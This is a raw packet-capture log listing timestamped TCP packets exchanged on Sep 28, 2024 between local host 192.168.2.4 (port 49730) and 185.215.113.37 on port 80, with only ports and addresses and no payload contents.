Sep 28, 2024 10:19:13.058053970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058069944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058079958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058084965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058099985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058105946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058115959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058123112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058132887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058147907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058149099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058166981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058193922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058742046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058763027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058777094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058789968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058800936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058804989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058820963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058835983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058840036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058851957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058865070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058866978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.058888912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.058907032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059221029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059236050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059251070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059266090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059273958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059282064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059292078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059297085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059313059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059324026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059334993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059367895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059598923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059613943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059634924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059648991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059649944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059664011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059668064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.059685946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.059710026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.154752016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.159681082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380255938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380312920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380328894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380361080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380366087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380404949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380409956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380450964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380454063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380489111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380500078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380526066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380532980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380563021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380565882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380597115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380604029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380633116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380637884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380669117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380677938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380706072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380712032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380748034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380930901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380964041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.380975008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.380997896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381006002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381035089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381040096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381068945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381078005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381104946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381110907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381139994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381145000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381175041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381184101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381210089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381217003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381246090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381256104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381282091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381295919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381325006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381573915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381607056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381620884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381640911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381652117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381675005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381685019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381711960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381717920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381747007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381756067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381782055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381791115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381819963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.381829977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.381864071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382085085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382117987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382132053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382150888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382157087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382186890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382196903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382220984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382226944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382256031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382260084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382289886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382303953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382323980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382335901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382365942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382520914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382555008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382580996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382586002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382596970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382622004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382632971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382661104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.382664919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382704973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.382971048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383003950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383029938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383037090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383049011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383070946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383080006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383105993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383112907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383140087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383148909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383173943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383183002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383208990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383217096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383244038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383249998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383277893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383281946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383313894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383326054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383352995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383361101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383404016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383404970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383450031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383455992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383502007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383868933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383900881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383924007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383934021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383948088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.383968115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.383975983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384005070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384013891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384037971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384047031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384072065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384079933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384105921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384114981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384140015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384147882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384175062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384183884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384211063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384219885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384244919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384253979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384279966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384289026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384315014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384321928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384350061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384356022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384382010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384391069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384424925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384773970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384824991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384828091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384859085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384871006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384893894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384903908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384927988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384938955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384963036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.384963989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.384993076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385010958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385035038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385041952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385046005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385077953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385082006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385088921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385112047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385119915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385147095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385154963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385180950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385184050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385215998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385225058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385250092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385263920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385284901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385299921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385328054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385646105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385678053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385713100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.385735035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.385770082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.515443087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.515521049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.515522003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.515556097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.515568018 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.515599966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516241074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516274929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516294956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516307116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516315937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516343117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516350985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516383886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516670942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516705990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516729116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516736984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516742945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516772032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516781092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516805887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516813993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516841888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516850948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516875029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516877890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516910076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.516917944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.516953945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517565012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517597914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517630100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517644882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517663956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517663002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517678976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517704010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517724991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517738104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517760992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517771959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517781019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517806053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517812967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517839909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517844915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517874956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517884016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517910004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517919064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517944098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517954111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.517978907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.517991066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518009901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518018961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518043995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518052101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518078089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518090963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518114090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518121958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518158913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518815041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518847942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518870115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518892050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518898964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518933058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518942118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.518965960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.518975019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519000053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519009113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519036055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519043922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519071102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519078970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519105911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519113064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519140005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519150019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519175053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519184113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519208908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519217968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519243002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519251108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519277096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519288063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519308090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519320011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519342899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519351959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519377947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:13.519387960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:13.519423962 CEST	49730	80	192.168.2.4	185.215.113.37
